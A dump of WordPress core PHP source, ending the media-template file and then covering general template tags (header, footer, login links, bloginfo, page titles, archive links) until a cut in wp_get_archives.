</span> </h3> <div class="attachment-info"> <div class="thumbnail"> <# if ( data.uploading ) { #> <div class="media-progress-bar"><div></div></div> <# } else if ( 'image' === data.type ) { #> <img src="{{ data.size.url }}" draggable="false" /> <# } else { #> <img src="{{ data.icon }}" class="icon" draggable="false" /> <# } #> </div> <div class="details"> <div class="filename">{{ data.filename }}</div> <div class="uploaded">{{ data.dateFormatted }}</div> <# if ( 'image' === data.type && ! data.uploading ) { #> <# if ( data.width && data.height ) { #> <div class="dimensions">{{ data.width }} &times; {{ data.height }}</div> <# } #> <# if ( data.can.save ) { #> <a class="edit-attachment" href="{{ data.editLink }}&amp;image-editor" target="_blank"><?php _e( 'Edit Image' ); ?></a> <a class="refresh-attachment" href="#"><?php _e( 'Refresh' ); ?></a> <# } #> <# } #> <# if ( ! data.uploading && data.can.remove ) { #> <a class="delete-attachment" href="#"><?php _e( 'Delete Permanently' ); ?></a> <# } #> <div class="compat-meta"> <# if ( data.compat && data.compat.meta ) { #> {{{ data.compat.meta }}} <# } #> </div> </div> </div> <# var maybeReadOnly = data.can.save || data.allowLocalEdits ? '' : 'readonly'; #> <label class="setting" data-setting="title"> <span><?php _e('Title'); ?></span> <input type="text" value="{{ data.title }}" {{ maybeReadOnly }} /> </label> <label class="setting" data-setting="caption"> <span><?php _e('Caption'); ?></span> <textarea {{ maybeReadOnly }}>{{ data.caption }}</textarea> </label> <# if ( 'image' === data.type ) { #> <label class="setting" data-setting="alt"> <span><?php _e('Alt Text'); ?></span> <input type="text" value="{{ data.alt }}" {{ maybeReadOnly }} /> </label> <# } #> <label class="setting" data-setting="description"> <span><?php _e('Description'); ?></span> <textarea {{ maybeReadOnly }}>{{ data.description }}</textarea> </label> </script> <script type="text/html" id="tmpl-media-selection"> <div class="selection-info"> <span class="count"></span> <# if ( data.editable ) { #> <a class="edit-selection" href="#"><?php _e('Edit'); ?></a> <# } #> <# if ( data.clearable ) { #> <a class="clear-selection" href="#"><?php _e('Clear'); ?></a> <# } #> </div> <div class="selection-view"></div> </script> <script type="text/html" id="tmpl-attachment-display-settings"> <h3><?php _e('Attachment Display Settings'); ?></h3> <# if ( 'image' === data.type ) { #> <label class="setting"> <span><?php _e('Alignment'); ?></span> <select class="alignment" data-setting="align" <# if ( data.userSettings ) { #> data-user-setting="align" <# } #>> <option value="left"> <?php esc_attr_e('Left'); ?> </option> <option value="center"> <?php esc_attr_e('Center'); ?> </option> <option value="right"> <?php esc_attr_e('Right'); ?> </option> <option value="none" selected> <?php esc_attr_e('None'); ?> </option> </select> </label> <# } #> <div class="setting"> <label> <span><?php _e('Link To'); ?></span> <select class="link-to" data-setting="link" <# if ( data.userSettings ) { #> data-user-setting="urlbutton" <# } #>> <option value="custom"> <?php esc_attr_e('Custom URL'); ?> </option> <option value="post" selected> <?php esc_attr_e('Attachment Page'); ?> </option> <option value="file"> <?php esc_attr_e('Media File'); ?> </option> <option value="none"> <?php esc_attr_e('None'); ?> </option> </select> </label> <input type="text" class="link-to-custom" data-setting="linkUrl" /> </div> <# if ( 'undefined' !== typeof data.sizes ) { #> <label class="setting"> <span><?php _e('Size'); ?></span> <select class="size" name="size" data-setting="size" <# if ( data.userSettings ) { #> data-user-setting="imgsize" <# } #>> <?php $sizes = apply_filters( 'image_size_names_choose', array( 'thumbnail' => __('Thumbnail'), 'medium' => __('Medium'), 'large' => __('Large'), 'full' => __('Full Size'), ) ); foreach ( $sizes as $value => $name ) : ?> <# var size = data.sizes['<?php echo esc_js( $value ); ?>']; if ( size ) { #> <option value="<?php echo esc_attr( $value ); ?>" <?php selected( $value, 'full' ); ?>> <?php echo esc_html( $name ); ?> &ndash; {{ size.width }} &times; {{ size.height }} </option> <# } #> <?php endforeach; ?> </select> </label> <# } #> </script> <script type="text/html" id="tmpl-gallery-settings"> <h3><?php _e('Gallery Settings'); ?></h3> <label class="setting"> <span><?php _e('Link To'); ?></span> <select class="link-to" data-setting="link" <# if ( data.userSettings ) { #> data-user-setting="urlbutton" <# } #>> <option value="post" selected> <?php esc_attr_e('Attachment Page'); ?> </option> <option value="file"> <?php esc_attr_e('Media File'); ?> </option> </select> </label> <label class="setting"> <span><?php _e('Columns'); ?></span> <select class="columns" name="columns" data-setting="columns"> <?php for ( $i = 1; $i <= 9; $i++ ) : ?> <option value="<?php echo esc_attr( $i ); ?>" <?php selected( $i, 3 ); ?>> <?php echo esc_html( $i ); ?> </option> <?php endfor; ?> </select> </label> <label class="setting"> <span><?php _e( 'Random Order' ); ?></span> <input type="checkbox" data-setting="_orderbyRandom" /> </label> </script> <script type="text/html" id="tmpl-embed-link-settings"> <label class="setting"> <span><?php _e('Title'); ?></span> <input type="text" class="alignment" data-setting="title" /> </label> </script> <script type="text/html" id="tmpl-embed-image-settings"> <div class="thumbnail"> <img src="{{ data.model.url }}" draggable="false" /> </div> <?php if ( ! apply_filters( 'disable_captions', '' ) ) : ?> <label class="setting caption"> <span><?php _e('Caption'); ?></span> <textarea data-setting="caption" /> </label> <?php endif; ?> <label class="setting alt-text"> <span><?php _e('Alt Text'); ?></span> <input type="text" data-setting="alt" /> </label> <div class="setting align"> <span><?php _e('Align'); ?></span> <div class="button-group button-large" data-setting="align"> <button class="button" value="left"> <?php esc_attr_e('Left'); ?> </button> <button class="button" value="center"> <?php esc_attr_e('Center'); ?> </button> <button class="button" value="right"> <?php esc_attr_e('Right'); ?> </button> <button class="button active" value="none"> <?php esc_attr_e('None'); ?> </button> </div> </div> <div class="setting link-to"> <span><?php _e('Link To'); ?></span> <div class="button-group button-large" data-setting="link"> <button class="button" value="file"> <?php esc_attr_e('Image URL'); ?> </button> <button class="button" value="custom"> <?php esc_attr_e('Custom URL'); ?> </button> <button class="button active" value="none"> <?php esc_attr_e('None'); ?> </button> </div> <input type="text" class="link-to-custom" data-setting="linkUrl" /> </div> </script> <script type="text/html" id="tmpl-attachments-css"> <style type="text/css" id="{{ data.id }}-css"> #{{ data.id }} { padding: 0 {{ data.gutter }}px; } #{{ data.id }} .attachment { margin: {{ data.gutter }}px; width: {{ data.edge }}px; } #{{ data.id }} .attachment-preview, #{{ data.id }} .attachment-preview .thumbnail { width: {{ data.edge }}px; height: {{ data.edge }}px; } #{{ data.id }} .portrait .thumbnail img { max-width: {{ data.edge }}px; height: auto; } #{{ data.id }} .landscape .thumbnail img { width: auto; max-height: {{ data.edge }}px; } </style> </script> <?php do_action( 'print_media_templates' ); }
zyblog
trunk/zyblog/wp-includes/media-template.php
PHP
asf20
14,813
<?php /** * General template tags that can go anywhere in a template. * * @package WordPress * @subpackage Template */ /** * Load header template. * * Includes the header template for a theme or if a name is specified then a * specialised header will be included. * * For the parameter, if the file is called "header-special.php" then specify * "special". * * @uses locate_template() * @since 1.5.0 * @uses do_action() Calls 'get_header' action. * * @param string $name The name of the specialised header. */ function get_header( $name = null ) { do_action( 'get_header', $name ); $templates = array(); if ( isset($name) ) $templates[] = "header-{$name}.php"; $templates[] = 'header.php'; // Backward compat code will be removed in a future release if ('' == locate_template($templates, true)) load_template( ABSPATH . WPINC . '/theme-compat/header.php'); } /** * Load footer template. * * Includes the footer template for a theme or if a name is specified then a * specialised footer will be included. * * For the parameter, if the file is called "footer-special.php" then specify * "special". * * @uses locate_template() * @since 1.5.0 * @uses do_action() Calls 'get_footer' action. * * @param string $name The name of the specialised footer. */ function get_footer( $name = null ) { do_action( 'get_footer', $name ); $templates = array(); if ( isset($name) ) $templates[] = "footer-{$name}.php"; $templates[] = 'footer.php'; // Backward compat code will be removed in a future release if ('' == locate_template($templates, true)) load_template( ABSPATH . WPINC . '/theme-compat/footer.php'); } /** * Load sidebar template. * * Includes the sidebar template for a theme or if a name is specified then a * specialised sidebar will be included. * * For the parameter, if the file is called "sidebar-special.php" then specify * "special". * * @uses locate_template() * @since 1.5.0 * @uses do_action() Calls 'get_sidebar' action. * * @param string $name The name of the specialised sidebar. */ function get_sidebar( $name = null ) { do_action( 'get_sidebar', $name ); $templates = array(); if ( isset($name) ) $templates[] = "sidebar-{$name}.php"; $templates[] = 'sidebar.php'; // Backward compat code will be removed in a future release if ('' == locate_template($templates, true)) load_template( ABSPATH . WPINC . '/theme-compat/sidebar.php'); } /** * Load a template part into a template * * Makes it easy for a theme to reuse sections of code in a easy to overload way * for child themes. * * Includes the named template part for a theme or if a name is specified then a * specialised part will be included. If the theme contains no {slug}.php file * then no template will be included. * * The template is included using require, not require_once, so you may include the * same template part multiple times. * * For the $name parameter, if the file is called "{slug}-special.php" then specify * "special". * * @uses locate_template() * @since 3.0.0 * @uses do_action() Calls 'get_template_part_{$slug}' action. * * @param string $slug The slug name for the generic template. * @param string $name The name of the specialised template. */ function get_template_part( $slug, $name = null ) { do_action( "get_template_part_{$slug}", $slug, $name ); $templates = array(); if ( isset($name) ) $templates[] = "{$slug}-{$name}.php"; $templates[] = "{$slug}.php"; locate_template($templates, true, false); } /** * Display search form. * * Will first attempt to locate the searchform.php file in either the child or * the parent, then load it. If it doesn't exist, then the default search form * will be displayed. The default search form is HTML, which will be displayed. * There is a filter applied to the search form HTML in order to edit or replace * it. The filter is 'get_search_form'. * * This function is primarily used by themes which want to hardcode the search * form into the sidebar and also by the search widget in WordPress. * * There is also an action that is called whenever the function is run called, * 'get_search_form'. This can be useful for outputting JavaScript that the * search relies on or various formatting that applies to the beginning of the * search. To give a few examples of what it can be used for. * * @since 2.7.0 * @param boolean $echo Default to echo and not return the form. * @return string|null String when retrieving, null when displaying or if searchform.php exists. */ function get_search_form($echo = true) { do_action( 'get_search_form' ); $search_form_template = locate_template('searchform.php'); if ( '' != $search_form_template ) { require($search_form_template); return; } $form = '<form role="search" method="get" id="searchform" action="' . esc_url( home_url( '/' ) ) . '" > <div><label class="screen-reader-text" for="s">' . __('Search for:') . '</label> <input type="text" value="' . get_search_query() . '" name="s" id="s" /> <input type="submit" id="searchsubmit" value="'. esc_attr__('Search') .'" /> </div> </form>'; if ( $echo ) echo apply_filters('get_search_form', $form); else return apply_filters('get_search_form', $form); } /** * Display the Log In/Out link. * * Displays a link, which allows users to navigate to the Log In page to log in * or log out depending on whether they are currently logged in. * * @since 1.5.0 * @uses apply_filters() Calls 'loginout' hook on HTML link content. * * @param string $redirect Optional path to redirect to on login/logout. * @param boolean $echo Default to echo and not return the link. * @return string|null String when retrieving, null when displaying. */ function wp_loginout($redirect = '', $echo = true) { if ( ! is_user_logged_in() ) $link = '<a href="' . esc_url( wp_login_url($redirect) ) . '">' . __('Log in') . '</a>'; else $link = '<a href="' . esc_url( wp_logout_url($redirect) ) . '">' . __('Log out') . '</a>'; if ( $echo ) echo apply_filters('loginout', $link); else return apply_filters('loginout', $link); } /** * Returns the Log Out URL. * * Returns the URL that allows the user to log out of the site * * @since 2.7.0 * @uses wp_nonce_url() To protect against CSRF * @uses site_url() To generate the log in URL * @uses apply_filters() calls 'logout_url' hook on final logout url * * @param string $redirect Path to redirect to on logout. * @return string A log out URL. */ function wp_logout_url($redirect = '') { $args = array( 'action' => 'logout' ); if ( !empty($redirect) ) { $args['redirect_to'] = urlencode( $redirect ); } $logout_url = add_query_arg($args, site_url('wp-login.php', 'login')); $logout_url = wp_nonce_url( $logout_url, 'log-out' ); return apply_filters('logout_url', $logout_url, $redirect); } /** * Returns the Log In URL. * * Returns the URL that allows the user to log in to the site * * @since 2.7.0 * @uses site_url() To generate the log in URL * @uses apply_filters() calls 'login_url' hook on final login url * * @param string $redirect Path to redirect to on login. * @param bool $force_reauth Whether to force reauthorization, even if a cookie is present. Default is false. * @return string A log in URL. */ function wp_login_url($redirect = '', $force_reauth = false) { $login_url = site_url('wp-login.php', 'login'); if ( !empty($redirect) ) $login_url = add_query_arg('redirect_to', urlencode($redirect), $login_url); if ( $force_reauth ) $login_url = add_query_arg('reauth', '1', $login_url); return apply_filters('login_url', $login_url, $redirect); } /** * Provides a simple login form for use anywhere within WordPress. By default, it echoes * the HTML immediately. Pass array('echo'=>false) to return the string instead. * * @since 3.0.0 * @param array $args Configuration options to modify the form output. * @return string|null String when retrieving, null when displaying. */ function wp_login_form( $args = array() ) { $defaults = array( 'echo' => true, 'redirect' => ( is_ssl() ? 'https://' : 'http://' ) . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'], // Default redirect is back to the current page 'form_id' => 'loginform', 'label_username' => __( 'Username' ), 'label_password' => __( 'Password' ), 'label_remember' => __( 'Remember Me' ), 'label_log_in' => __( 'Log In' ), 'id_username' => 'user_login', 'id_password' => 'user_pass', 'id_remember' => 'rememberme', 'id_submit' => 'wp-submit', 'remember' => true, 'value_username' => '', 'value_remember' => false, // Set this to true to default the "Remember me" checkbox to checked ); $args = wp_parse_args( $args, apply_filters( 'login_form_defaults', $defaults ) ); $form = ' <form name="' . $args['form_id'] . '" id="' . $args['form_id'] . '" action="' . esc_url( site_url( 'wp-login.php', 'login_post' ) ) . '" method="post"> ' . apply_filters( 'login_form_top', '', $args ) . ' <p class="login-username"> <label for="' . esc_attr( $args['id_username'] ) . '">' . esc_html( $args['label_username'] ) . '</label> <input type="text" name="log" id="' . esc_attr( $args['id_username'] ) . '" class="input" value="' . esc_attr( $args['value_username'] ) . '" size="20" /> </p> <p class="login-password"> <label for="' . esc_attr( $args['id_password'] ) . '">' . esc_html( $args['label_password'] ) . '</label> <input type="password" name="pwd" id="' . esc_attr( $args['id_password'] ) . '" class="input" value="" size="20" /> </p> ' . apply_filters( 'login_form_middle', '', $args ) . ' ' . ( $args['remember'] ? '<p class="login-remember"><label><input name="rememberme" type="checkbox" id="' . esc_attr( $args['id_remember'] ) . '" value="forever"' . ( $args['value_remember'] ? ' checked="checked"' : '' ) . ' /> ' . esc_html( $args['label_remember'] ) . '</label></p>' : '' ) . ' <p class="login-submit"> <input type="submit" name="wp-submit" id="' . esc_attr( $args['id_submit'] ) . '" class="button-primary" value="' . esc_attr( $args['label_log_in'] ) . '" /> <input type="hidden" name="redirect_to" value="' . esc_url( $args['redirect'] ) . '" /> </p> ' . apply_filters( 'login_form_bottom', '', $args ) . ' </form>'; if ( $args['echo'] ) echo $form; else return $form; } /** * Returns the Lost Password URL. * * Returns the URL that allows the user to retrieve the lost password * * @since 2.8.0 * @uses site_url() To generate the lost password URL * @uses apply_filters() calls 'lostpassword_url' hook on the lostpassword url * * @param string $redirect Path to redirect to on login. * @return string Lost password URL. */ function wp_lostpassword_url( $redirect = '' ) { $args = array( 'action' => 'lostpassword' ); if ( !empty($redirect) ) { $args['redirect_to'] = $redirect; } $lostpassword_url = add_query_arg( $args, network_site_url('wp-login.php', 'login') ); return apply_filters( 'lostpassword_url', $lostpassword_url, $redirect ); } /** * Display the Registration or Admin link. * * Display a link which allows the user to navigate to the registration page if * not logged in and registration is enabled or to the dashboard if logged in. * * @since 1.5.0 * @uses apply_filters() Calls 'register' hook on register / admin link content. * * @param string $before Text to output before the link (defaults to <li>). * @param string $after Text to output after the link (defaults to </li>). * @param boolean $echo Default to echo and not return the link. * @return string|null String when retrieving, null when displaying. */ function wp_register( $before = '<li>', $after = '</li>', $echo = true ) { if ( ! is_user_logged_in() ) { if ( get_option('users_can_register') ) $link = $before . '<a href="' . site_url('wp-login.php?action=register', 'login') . '">' . __('Register') . '</a>' . $after; else $link = ''; } else { $link = $before . '<a href="' . admin_url() . '">' . __('Site Admin') . '</a>' . $after; } if ( $echo ) echo apply_filters('register', $link); else return apply_filters('register', $link); } /** * Theme container function for the 'wp_meta' action. * * The 'wp_meta' action can have several purposes, depending on how you use it, * but one purpose might have been to allow for theme switching. * * @since 1.5.0 * @link http://trac.wordpress.org/ticket/1458 Explanation of 'wp_meta' action. * @uses do_action() Calls 'wp_meta' hook. */ function wp_meta() { do_action('wp_meta'); } /** * Display information about the blog. * * @see get_bloginfo() For possible values for the parameter. * @since 0.71 * * @param string $show What to display. */ function bloginfo( $show='' ) { echo get_bloginfo( $show, 'display' ); } /** * Retrieve information about the blog. * * Some show parameter values are deprecated and will be removed in future * versions. These options will trigger the _deprecated_argument() function. * The deprecated blog info options are listed in the function contents. * * The possible values for the 'show' parameter are listed below. * <ol> * <li><strong>url</strong> - Blog URI to homepage.</li> * <li><strong>wpurl</strong> - Blog URI path to WordPress.</li> * <li><strong>description</strong> - Secondary title</li> * </ol> * * The feed URL options can be retrieved from 'rdf_url' (RSS 0.91), * 'rss_url' (RSS 1.0), 'rss2_url' (RSS 2.0), or 'atom_url' (Atom feed). The * comment feeds can be retrieved from the 'comments_atom_url' (Atom comment * feed) or 'comments_rss2_url' (RSS 2.0 comment feed). * * @since 0.71 * * @param string $show Blog info to retrieve. * @param string $filter How to filter what is retrieved. * @return string Mostly string values, might be empty. */ function get_bloginfo( $show = '', $filter = 'raw' ) { switch( $show ) { case 'home' : // DEPRECATED case 'siteurl' : // DEPRECATED _deprecated_argument( __FUNCTION__, '2.2', sprintf( __('The <code>%s</code> option is deprecated for the family of <code>bloginfo()</code> functions.' ), $show ) . ' ' . sprintf( __( 'Use the <code>%s</code> option instead.' ), 'url' ) ); case 'url' : $output = home_url(); break; case 'wpurl' : $output = site_url(); break; case 'description': $output = get_option('blogdescription'); break; case 'rdf_url': $output = get_feed_link('rdf'); break; case 'rss_url': $output = get_feed_link('rss'); break; case 'rss2_url': $output = get_feed_link('rss2'); break; case 'atom_url': $output = get_feed_link('atom'); break; case 'comments_atom_url': $output = get_feed_link('comments_atom'); break; case 'comments_rss2_url': $output = get_feed_link('comments_rss2'); break; case 'pingback_url': $output = get_option('siteurl') .'/xmlrpc.php'; break; case 'stylesheet_url': $output = get_stylesheet_uri(); break; case 'stylesheet_directory': $output = get_stylesheet_directory_uri(); break; case 'template_directory': case 'template_url': $output = get_template_directory_uri(); break; case 'admin_email': $output = get_option('admin_email'); break; case 'charset': $output = get_option('blog_charset'); if ('' == $output) $output = 'UTF-8'; break; case 'html_type' : $output = get_option('html_type'); break; case 'version': global $wp_version; $output = $wp_version; break; case 'language': $output = get_locale(); $output = str_replace('_', '-', $output); break; case 'text_direction': //_deprecated_argument( __FUNCTION__, '2.2', sprintf( __('The <code>%s</code> option is deprecated for the family of <code>bloginfo()</code> functions.' ), $show ) . ' ' . sprintf( __( 'Use the <code>%s</code> function instead.' ), 'is_rtl()' ) ); if ( function_exists( 'is_rtl' ) ) { $output = is_rtl() ? 'rtl' : 'ltr'; } else { $output = 'ltr'; } break; case 'name': default: $output = get_option('blogname'); break; } $url = true; if (strpos($show, 'url') === false && strpos($show, 'directory') === false && strpos($show, 'home') === false) $url = false; if ( 'display' == $filter ) { if ( $url ) $output = apply_filters('bloginfo_url', $output, $show); else $output = apply_filters('bloginfo', $output, $show); } return $output; } /** * Display or retrieve page title for all areas of blog. * * By default, the page title will display the separator before the page title, * so that the blog title will be before the page title. This is not good for * title display, since the blog title shows up on most tabs and not what is * important, which is the page that the user is looking at. * * There are also SEO benefits to having the blog title after or to the 'right' * or the page title. However, it is mostly common sense to have the blog title * to the right with most browsers supporting tabs. You can achieve this by * using the seplocation parameter and setting the value to 'right'. This change * was introduced around 2.5.0, in case backwards compatibility of themes is * important. * * @since 1.0.0 * * @param string $sep Optional, default is '&raquo;'. How to separate the various items within the page title. * @param bool $display Optional, default is true. Whether to display or retrieve title. * @param string $seplocation Optional. Direction to display title, 'right'. * @return string|null String on retrieve, null when displaying. */ function wp_title($sep = '&raquo;', $display = true, $seplocation = '') { global $wpdb, $wp_locale; $m = get_query_var('m'); $year = get_query_var('year'); $monthnum = get_query_var('monthnum'); $day = get_query_var('day'); $search = get_query_var('s'); $title = ''; $t_sep = '%WP_TITILE_SEP%'; // Temporary separator, for accurate flipping, if necessary // If there is a post if ( is_single() || ( is_home() && !is_front_page() ) || ( is_page() && !is_front_page() ) ) { $title = single_post_title( '', false ); } // If there's a category or tag if ( is_category() || is_tag() ) { $title = single_term_title( '', false ); } // If there's a taxonomy if ( is_tax() ) { $term = get_queried_object(); $tax = get_taxonomy( $term->taxonomy ); $title = single_term_title( $tax->labels->name . $t_sep, false ); } // If there's an author if ( is_author() ) { $author = get_queried_object(); $title = $author->display_name; } // If there's a post type archive if ( is_post_type_archive() ) $title = post_type_archive_title( '', false ); // If there's a month if ( is_archive() && !empty($m) ) { $my_year = substr($m, 0, 4); $my_month = $wp_locale->get_month(substr($m, 4, 2)); $my_day = intval(substr($m, 6, 2)); $title = $my_year . ( $my_month ? $t_sep . $my_month : '' ) . ( $my_day ? $t_sep . $my_day : '' ); } // If there's a year if ( is_archive() && !empty($year) ) { $title = $year; if ( !empty($monthnum) ) $title .= $t_sep . $wp_locale->get_month($monthnum); if ( !empty($day) ) $title .= $t_sep . zeroise($day, 2); } // If it's a search if ( is_search() ) { /* translators: 1: separator, 2: search phrase */ $title = sprintf(__('Search Results %1$s %2$s'), $t_sep, strip_tags($search)); } // If it's a 404 page if ( is_404() ) { $title = __('Page not found'); } $prefix = ''; if ( !empty($title) ) $prefix = " $sep "; // Determines position of the separator and direction of the breadcrumb if ( 'right' == $seplocation ) { // sep on right, so reverse the order $title_array = explode( $t_sep, $title ); $title_array = array_reverse( $title_array ); $title = implode( " $sep ", $title_array ) . $prefix; } else { $title_array = explode( $t_sep, $title ); $title = $prefix . implode( " $sep ", $title_array ); } $title = apply_filters('wp_title', $title, $sep, $seplocation); // Send it out if ( $display ) echo $title; else return $title; } /** * Display or retrieve page title for post. * * This is optimized for single.php template file for displaying the post title. * * It does not support placing the separator after the title, but by leaving the * prefix parameter empty, you can set the title separator manually. The prefix * does not automatically place a space between the prefix, so if there should * be a space, the parameter value will need to have it at the end. * * @since 0.71 * * @param string $prefix Optional. What to display before the title. * @param bool $display Optional, default is true. Whether to display or retrieve title. * @return string|null Title when retrieving, null when displaying or failure. */ function single_post_title($prefix = '', $display = true) { $_post = get_queried_object(); if ( !isset($_post->post_title) ) return; $title = apply_filters('single_post_title', $_post->post_title, $_post); if ( $display ) echo $prefix . $title; else return $title; } /** * Display or retrieve title for a post type archive. * * This is optimized for archive.php and archive-{$post_type}.php template files * for displaying the title of the post type. * * @since 3.1.0 * * @param string $prefix Optional. What to display before the title. * @param bool $display Optional, default is true. Whether to display or retrieve title. * @return string|null Title when retrieving, null when displaying or failure. */ function post_type_archive_title( $prefix = '', $display = true ) { if ( ! is_post_type_archive() ) return; $post_type_obj = get_queried_object(); $title = apply_filters('post_type_archive_title', $post_type_obj->labels->name ); if ( $display ) echo $prefix . $title; else return $title; } /** * Display or retrieve page title for category archive. * * This is useful for category template file or files, because it is optimized * for category page title and with less overhead than {@link wp_title()}. * * It does not support placing the separator after the title, but by leaving the * prefix parameter empty, you can set the title separator manually. The prefix * does not automatically place a space between the prefix, so if there should * be a space, the parameter value will need to have it at the end. * * @since 0.71 * * @param string $prefix Optional. What to display before the title. * @param bool $display Optional, default is true. Whether to display or retrieve title. * @return string|null Title when retrieving, null when displaying or failure. */ function single_cat_title( $prefix = '', $display = true ) { return single_term_title( $prefix, $display ); } /** * Display or retrieve page title for tag post archive. * * Useful for tag template files for displaying the tag page title. It has less * overhead than {@link wp_title()}, because of its limited implementation. * * It does not support placing the separator after the title, but by leaving the * prefix parameter empty, you can set the title separator manually. The prefix * does not automatically place a space between the prefix, so if there should * be a space, the parameter value will need to have it at the end. * * @since 2.3.0 * * @param string $prefix Optional. What to display before the title. * @param bool $display Optional, default is true. Whether to display or retrieve title. * @return string|null Title when retrieving, null when displaying or failure. */ function single_tag_title( $prefix = '', $display = true ) { return single_term_title( $prefix, $display ); } /** * Display or retrieve page title for taxonomy term archive. * * Useful for taxonomy term template files for displaying the taxonomy term page title. * It has less overhead than {@link wp_title()}, because of its limited implementation. * * It does not support placing the separator after the title, but by leaving the * prefix parameter empty, you can set the title separator manually. The prefix * does not automatically place a space between the prefix, so if there should * be a space, the parameter value will need to have it at the end. * * @since 3.1.0 * * @param string $prefix Optional. What to display before the title. * @param bool $display Optional, default is true. Whether to display or retrieve title. * @return string|null Title when retrieving, null when displaying or failure. */ function single_term_title( $prefix = '', $display = true ) { $term = get_queried_object(); if ( !$term ) return; if ( is_category() ) $term_name = apply_filters( 'single_cat_title', $term->name ); elseif ( is_tag() ) $term_name = apply_filters( 'single_tag_title', $term->name ); elseif ( is_tax() ) $term_name = apply_filters( 'single_term_title', $term->name ); else return; if ( empty( $term_name ) ) return; if ( $display ) echo $prefix . $term_name; else return $term_name; } /** * Display or retrieve page title for post archive based on date. * * Useful for when the template only needs to display the month and year, if * either are available. Optimized for just this purpose, so if it is all that * is needed, should be better than {@link wp_title()}. * * It does not support placing the separator after the title, but by leaving the * prefix parameter empty, you can set the title separator manually. The prefix * does not automatically place a space between the prefix, so if there should * be a space, the parameter value will need to have it at the end. * * @since 0.71 * * @param string $prefix Optional. What to display before the title. * @param bool $display Optional, default is true. Whether to display or retrieve title. * @return string|null Title when retrieving, null when displaying or failure. */ function single_month_title($prefix = '', $display = true ) { global $wp_locale; $m = get_query_var('m'); $year = get_query_var('year'); $monthnum = get_query_var('monthnum'); if ( !empty($monthnum) && !empty($year) ) { $my_year = $year; $my_month = $wp_locale->get_month($monthnum); } elseif ( !empty($m) ) { $my_year = substr($m, 0, 4); $my_month = $wp_locale->get_month(substr($m, 4, 2)); } if ( empty($my_month) ) return false; $result = $prefix . $my_month . $prefix . $my_year; if ( !$display ) return $result; echo $result; } /** * Retrieve archive link content based on predefined or custom code. * * The format can be one of four styles. The 'link' for head element, 'option' * for use in the select element, 'html' for use in list (either ol or ul HTML * elements). Custom content is also supported using the before and after * parameters. * * The 'link' format uses the link HTML element with the <em>archives</em> * relationship. The before and after parameters are not used. The text * parameter is used to describe the link. * * The 'option' format uses the option HTML element for use in select element. * The value is the url parameter and the before and after parameters are used * between the text description. * * The 'html' format, which is the default, uses the li HTML element for use in * the list HTML elements. The before parameter is before the link and the after * parameter is after the closing link. * * The custom format uses the before parameter before the link ('a' HTML * element) and the after parameter after the closing link tag. If the above * three values for the format are not used, then custom format is assumed. * * @since 1.0.0 * * @param string $url URL to archive. * @param string $text Archive text description. * @param string $format Optional, default is 'html'. Can be 'link', 'option', 'html', or custom. * @param string $before Optional. * @param string $after Optional. * @return string HTML link content for archive. */ function get_archives_link($url, $text, $format = 'html', $before = '', $after = '') { $text = wptexturize($text); $title_text = esc_attr($text); $url = esc_url($url); if ('link' == $format) $link_html = "\t<link rel='archives' title='$title_text' href='$url' />\n"; elseif ('option' == $format) $link_html = "\t<option value='$url'>$before $text $after</option>\n"; elseif ('html' == $format) $link_html = "\t<li>$before<a href='$url' title='$title_text'>$text</a>$after</li>\n"; else // custom $link_html = "\t$before<a href='$url' title='$title_text'>$text</a>$after\n"; $link_html = apply_filters( 'get_archives_link', $link_html ); return $link_html; } /** * Display archive links based on type and format. * * The 'type' argument offers a few choices and by default will display monthly * archive links. The other options for values are 'daily', 'weekly', 'monthly', * 'yearly', 'postbypost' or 'alpha'. Both 'postbypost' and 'alpha' display the * same archive link list, the difference between the two is that 'alpha' * will order by post title and 'postbypost' will order by post date. * * The date archives will logically display dates with links to the archive post * page. The 'postbypost' and 'alpha' values for 'type' argument will display * the post titles. * * The 'limit' argument will only display a limited amount of links, specified * by the 'limit' integer value. By default, there is no limit. The * 'show_post_count' argument will show how many posts are within the archive. * By default, the 'show_post_count' argument is set to false. * * For the 'format', 'before', and 'after' arguments, see {@link * get_archives_link()}. The values of these arguments have to do with that * function. * * @since 1.2.0 * * @param string|array $args Optional. Override defaults. * @return string|null String when retrieving, null when displaying. */ function wp_get_archives($args = '') { global $wpdb, $wp_locale; $defaults = array( 'type' => 'monthly', 'limit' => '', 'format' => 'html', 'before' => '', 'after' => '', 'show_post_count' => false, 'echo' => 1, 'order' => 'DESC', ); $r = wp_parse_args( $args, $defaults ); extract( $r, EXTR_SKIP ); if ( '' == $type ) $type = 'monthly'; if ( '' != $limit ) { $limit = absint($limit); $limit = ' LIMIT '.$limit; } $order = strtoupper( $order ); if ( $order !== 'ASC' ) $order = 'DESC'; // this is what will separate dates on weekly archive links $archive_week_separator = '&#8211;'; // over-ride general date format ? 0 = no: use the date format set in Options, 1 = yes: over-ride $archive_date_format_over_ride = 0; // options for daily archive (only if you over-ride the general date format) $archive_day_date_format = 'Y/m/d'; // options for weekly archive (only if you over-ride the general date format) $archive_week_start_date_format = 'Y/m/d'; $archive_week_end_date_format = 'Y/m/d'; if ( !$archive_date_format_over_ride ) { $archive_day_date_format = get_option('date_format'); $archive_week_start_date_format = get_option('date_format'); $archive_week_end_date_format = get_option('date_format'); } //filters $where = apply_filters( 'getarchives_where', "WHERE post_type = 'post' AND post_status = 'publish'", $r ); $join = apply_filters( 'getarchives_join', '', $r ); $output = ''; if ( 'monthly' == $type ) { $query = "SELECT YEAR(post_date) AS `year`, MONTH(post_date) AS `month`, count(ID) as posts FROM $wpdb->posts $join $where GROUP BY YEAR(post_date), MONTH(post_date) ORDER BY post_date $order $limit"; $key = md5($query); $cache = wp_cache_get( 'wp_get_archives' , 'general'); if ( !isset( $cache[ $key ] ) ) { $arcresults = $wpdb->get_results($query); $cache[ $key ] = $arcresults; wp_cache_set( 'wp_get_archives', $cache, 'general' ); } else { $arcresults = $cache[ $key ]; } if ( $arcresults ) { $afterafter = $after; foreach ( (array) $arcresults as $arcresult ) { $url = get_month_link( $arcresult->year, $arcresult->month ); /* translators: 1: month name, 2: 4-digit year */ $text = sprintf(__('%1$s %2$d'), $wp_locale->get_month($arcresult->month), $arcresult->year); if ( $show_post_count ) $after = '&nbsp;('.$arcresult->posts.')' . $afterafter; $output .= get_archives_link($url, $text, $format, $before, $after); } } } elseif ('yearly' == $type) { $query = "SELECT YEAR(post_date) AS `year`, count(ID) as posts FROM $wpdb->posts $join $where GROUP BY YEAR(post_date) ORDER BY post_date $order $limit"; $key = md5($query); $cache = wp_cache_get( 'wp_get_archives' , 'general'); if ( !isset( 